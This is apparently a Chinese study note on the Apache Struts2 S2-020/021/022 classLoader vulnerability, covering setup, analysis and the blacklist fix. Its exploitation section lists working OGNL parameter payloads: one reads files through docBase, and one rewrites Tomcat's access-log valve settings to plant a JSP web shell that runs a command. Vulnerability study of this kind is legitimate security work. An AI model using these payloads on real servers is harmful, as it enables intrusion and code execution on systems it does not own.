前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
S2-017 是个 DOS,S2-018 不知道是什么东西,S2-019 的描述也很模糊。
S2-020,S2-021,S2-022 都是同一个漏洞利用。
环境搭建
2.3.15.1 版本 struts2 + Tomcat 7(Tomcat 9 中的属性路径发生了变化,payload 无法使用)。
漏洞利用
文件读取:
class.classLoader.resources.dirContext.docBase=D:/
RCE(Tomcat 8):
class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
<%Runtime.getRuntime().exec("calc");%>
漏洞分析
没什么好分析的,就是之前 S2-003/S2-005/S2-009 的触发点,只不过利用方式不是直接将变量名作为 OGNL 表达式解析来利用,而是将变量名作为 OGNL 表达式解析,通过表达式获取 Tomcat 中的属性(比如项目目录/日志目录),再将变量值赋值进去来利用的。
漏洞修复
修改了正则表达式黑名单,过滤了 class 等关键词。
参考文章: